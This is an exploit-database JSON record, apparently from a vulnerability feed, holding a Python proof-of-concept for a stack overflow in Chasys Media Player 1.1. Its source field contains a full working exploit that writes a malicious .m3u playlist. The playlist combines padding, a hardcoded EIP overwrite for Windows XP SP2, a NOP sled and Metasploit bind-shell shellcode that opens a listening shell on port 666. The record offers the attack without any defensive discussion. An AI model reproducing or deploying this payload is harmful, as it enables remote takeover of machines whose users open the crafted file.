DATABASE RESOURCES PRICING ABOUT US

{"href": "https://www.seebug.org/vuldb/ssvid-10846", "status": "poc", "bulletinFamily": "exploit", "modified": "2009-03-19T00:00:00", "title": "Chasys Media Player 1.1 (.m3u) Stack Overflow Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-10846", "cvelist": [], "description": "No description provided by source.", "viewCount": 1, "published": "2009-03-19T00:00:00", "sourceData": "\n #!/usr/bin/python\r\n# Chasys Media Player 1.1 (.m3u) Stack Overflow Exploit\r\n# By: Encrypt3d.M!nd\r\n#\r\n# Credit flys to: zAx\r\n#\r\n# the good thing in this one that the program won't crash\r\n# when the playlist file imported,and will keep running.\r\n\r\n\r\nheader = "#EXTM3U\\n"\r\njunk = "\\x41"*260\r\n\r\neip = "\\x2b\\x2a\\x49\\x7e" #user32.dll win/xp sp2\r\n\r\nnops = "\\x90" * 20\r\n\r\n\r\n# win32_bind - EXITFUNC=seh LPORT=666 Size=344 Encoder=PexFnstenvSub\r\nhttp://metasploit.com\r\nshellcode = (\r\n"\\x29\\xc9\\x83\\xe9\\xb0\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x77"\r\n"\\x13\\x35\\x14\\x83\\xeb\\xfc\\xe2\\xf4\\x8b\\x79\\xde\\x59\\x9f\\xea\\xca\\xeb"\r\n"\\x88\\x73\\xbe\\x78\\x53\\x37\\xbe\\x51\\x4b\\x98\\x49\\x11\\x0f\\x12\\xda\\x9f"\r\n"\\x38\\x0b\\xbe\\x4b\\x57\\x12\\xde\\x5d\\xfc\\x27\\xbe\\x15\\x99\\x22\\xf5\\x8d"\r\n"\\xdb\\x97\\xf5\\x60\\x70\\xd2\\xff\\x19\\x76\\xd1\\xde\\xe0\\x4c\\x47\\x11\\x3c"\r\n"\\x02\\xf6\\xbe\\x4b\\x53\\x12\\xde\\x72\\xfc\\x1f\\x7e\\x9f\\x28\\x0f\\x34\\xff"\r\n"\\x74\\x3f\\xbe\\x9d\\x1b\\x37\\x29\\x75\\xb4\\x22\\xee\\x70\\xfc\\x50\\x05\\x9f"\r\n"\\x37\\x1f\\xbe\\x64\\x6b\\xbe\\xbe\\x54\\x7f\\x4d\\x5d\\x9a\\x39\\x1d\\xd9\\x44"\r\n"\\x88\\xc5\\x53\\x47\\x11\\x7b\\x06\\x26\\x1f\\x64\\x46\\x26\\x28\\x47\\xca\\xc4"\r\n"\\x1f\\xd8\\xd8\\xe8\\x4c\\x43\\xca\\xc2\\x28\\x9a\\xd0\\x72\\xf6\\xfe\\x3d\\x16"\r\n"\\x22\\x79\\x37\\xeb\\xa7\\x7b\\xec\\x1d\\x82\\xbe\\x62\\xeb\\xa1\\x40\\x66\\x47"\r\n"\\x24\\x40\\x76\\x47\\x34\\x40\\xca\\xc4\\x11\\x7b\\x37\\x8e\\x11\\x40\\xbc\\xf5"\r\n"\\xe2\\x7b\\x91\\x0e\\x07\\xd4\\x62\\xeb\\xa1\\x79\\x25\\x45\\x22\\xec\\xe5\\x7c"\r\n"\\xd3\\xbe\\x1b\\xfd\\x20\\xec\\xe3\\x47\\x22\\xec\\xe5\\x7c\\x92\\x5a\\xb3\\x5d"\r\n"\\x20\\xec\\xe3\\x44\\x23\\x47\\x60\\xeb\\xa7\\x80\\x5d\\xf3\\x0e\\xd5\\x4c\\x43"\r\n"\\x88\\xc5\\x60\\xeb\\xa7\\x75\\x5f\\x70\\x11\\x7b\\x56\\x79\\xfe\\xf6\\x5f\\x44"\r\n"\\x2e\\x3a\\xf9\\x9d\\x90\\x79\\x71\\x9d\\x95\\x22\\xf5\\xe7\\xdd\\xed\\x77\\x39"\r\n"\\x89\\x51\\x19\\x87\\xfa\\x69\\x0d\\xbf\\xdc\\xb8\\x5d\\x66\\x89\\xa0\\x23\\xeb"\r\n"\\x02\\x57\\xca\\xc2\\x2c\\x44\\x67\\x45\\x26\\x42\\x5f\\x15\\x26\\x42\\x60\\x45"\r\n"\\x88\\xc3\\x5d\\xb9\\xae\\x16\\xfb\\x47\\x88\\xc5\\x5f\\xeb\\x88\\x24\\xca\\xc4"\r\n"\\xfc\\x44\\xc9\\x97\\xb3\\x77\\xca\\xc2\\x25\\xec\\xe5\\x7c\\x87\\x99\\x31\\x4b"\r\n"\\x24\\xec\\xe3\\xeb\\xa7\\x13\\x35\\x14")\r\n\r\nex = header+junk+eip+nops+shellcode\r\nfile=open("devil_inside.m3u","w")\r\nfile.write(ex)\r\nfile.close()\n ", "id": "SSV:10846", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T18:56:13", "reporter": "Root", "enchantments": {"score": {"value": 0.6, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.6}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645481583}}

{}